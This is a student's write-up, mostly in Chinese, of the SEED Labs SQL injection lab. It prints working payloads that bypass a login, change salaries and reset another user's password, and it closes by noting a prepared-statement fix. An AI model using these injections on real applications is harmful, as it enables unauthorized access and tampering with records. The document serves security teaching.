SEED Labs 2.0: SQL Injection Attack Lab

SQL Injection Attack Lab

Task 1: Get Familiar with SQL Statements

image-20231106145711833

Task 2: SQL Injection Attack on SELECT Statement

Task 2.1: SQL Injection Attack from webpage

查看文档的PHP源码:

1
2
3
4
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,
nickname, Password
FROM credential
WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";

可以看到sql语句是进行拼接的所以存在SQL注入。并且如果有返回就直接显示对应用户的信息。所以我们只用保持这个sql语句能正常执行并且返回记录。

构造如下

1
admin '; #

密码随意,因为会被注释掉.

image-20231106154853915

成功!

image-20231106154907746

Task 2.2: SQL Injection Attack from command line

由于是URL请求,需要进行转码。

打开在线工具直接进行转码

image-20231106155356380

注入成功

image-20231106155413387

Task 2.3: Append a new SQL statement.

题目让我们使用;分开两条语句。

我们尝试修改Alice的工资为10

修改前:image-20231106155819317

构造语句

1
admin '; update credential set Salary=10 where Name='Alice';#

但是注入失败

image-20231106160025575

Task 3: SQL Injection Attack on UPDATE Statement

Task 3.1: Modify your own salary.

可以看到源码是进行字符串拼接来构造sql语句的,所以我们可以使用和上一个任务类似的方式添加一条修改语句.

image-20231106160440931

构造如下:

我们选在在Nickname之后添加

1
test', Salary = 50000 where id='1';#

image-20231106160936356

利用成功

image-20231106160948413

Task 3.2: Modify other people’ salary.

修改别人的工资只需要将条件修改即可

1
test', Salary = 1 where name='Boby';#

修改前:

image-20231106161121281

修改后:

image-20231106161155341

Task 3.3: Modify other people’ password.

查看源代码,他会自动给我们将密码进行sha1存储,同时Password字段后面还有phoneNumber字段,所以我们在PhoneNumber输入框进行注释,password就正常填入我们想要修改的密码

image-20231106162003184

进行如下构造

1
' where name='Boby';#

image-20231106162053488

password = deadbeef

虽然提示

image-20231106162145414

但是查看数据库,还是修改成功

image-20231106162201437

登录用户看看,可以使用我们的密码进行登录

image-20231106162232393

Task 4: Countermeasure — Prepared Statement

安全页面上 我们使用之前的方法还是可以进行sql注入

image-20231106163922093

image-20231106163929227

我们现在就修改unsafe.php的工作流来修复漏洞

image-20231106165938300

可以看到攻击失败

image-20231106165833826